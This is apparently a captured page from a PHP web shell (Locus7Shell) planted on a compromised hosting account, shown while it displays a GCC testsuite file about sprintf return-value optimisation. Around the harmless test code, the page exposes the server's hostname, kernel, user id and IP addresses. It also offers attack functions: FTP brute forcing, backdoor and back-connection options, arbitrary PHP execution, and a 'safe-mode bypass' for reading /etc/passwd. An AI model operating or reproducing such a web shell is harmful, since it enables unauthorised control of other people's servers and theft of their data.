Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/tree-ssa/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     builtin-sprintf-3.c (1.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* PR bootstrap/77676 - powerpc64 and powerpc64le stage2 bootstrap fail
   Test case derived from the one submitted in the bug.  It verifies
   that the sprintf return value (or value range) optimization is not
   performed for an unknown string.  */
/* { dg-do compile } */
/* { dg-options "-O2 -Wall -Werror -fdump-tree-optimized -fprintf-return-value" } */

#define INT_MAX   __INT_MAX__
#define INT_MIN   (-INT_MAX - 1)

extern void string_eq_min_fail ();
extern void string_eq_max_fail ();

extern void string_lt_0_fail ();
extern void string_eq_0_fail ();
extern void string_gt_0_fail ();

void test_string_eq_min (char *d, const char *s)
{
  int n = __builtin_sprintf (d, "%-s", s);

  /* Verify that the return value is NOT assumed NOT to be INT_MIN
     or INT_MAX.  (This is a white box test based on knowing that
     the optimization computes its own values of the two constants.)  */
  if (n == INT_MIN) string_eq_min_fail ();
}

void test_string_eq_max (char *d, const char *s)
{
  int n = __builtin_sprintf (d, "%-s", s);

  if (n == INT_MAX) string_eq_max_fail ();
}

void test_string_lt_0 (char *d, const char *s)
{
  int n = __builtin_sprintf (d, "%-s", s);

  /* The return value could be negative when strlen(s) is in excess
     of 4095 (the maximum number of bytes a single directive is required
     to handle).  */
  if (n < 0) string_lt_0_fail ();
}

void test_string_eq_0 (char *d, const char *s)
{
  int n = __builtin_sprintf (d, "%-s", s);

  if (n == 0) string_eq_0_fail ();
}

void test_string_gt_0 (char *d, const char *s)
{
  int n = __builtin_sprintf (d, "%-s", s);

  if (n > 0) string_gt_0_fail ();
}

/* { dg-final { scan-tree-dump-times "string_eq_min_fail" 1 "optimized" } } */
/* { dg-final { scan-tree-dump-times "string_eq_max_fail" 1 "optimized" } } */
/* { dg-final { scan-tree-dump-times "string_lt_0_fail"   1 "optimized" } } */
/* { dg-final { scan-tree-dump-times "string_eq_0_fail"   1 "optimized" } } */
/* { dg-final { scan-tree-dump-times "string_gt_0_fail"   1 "optimized" } } */

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0055 ]--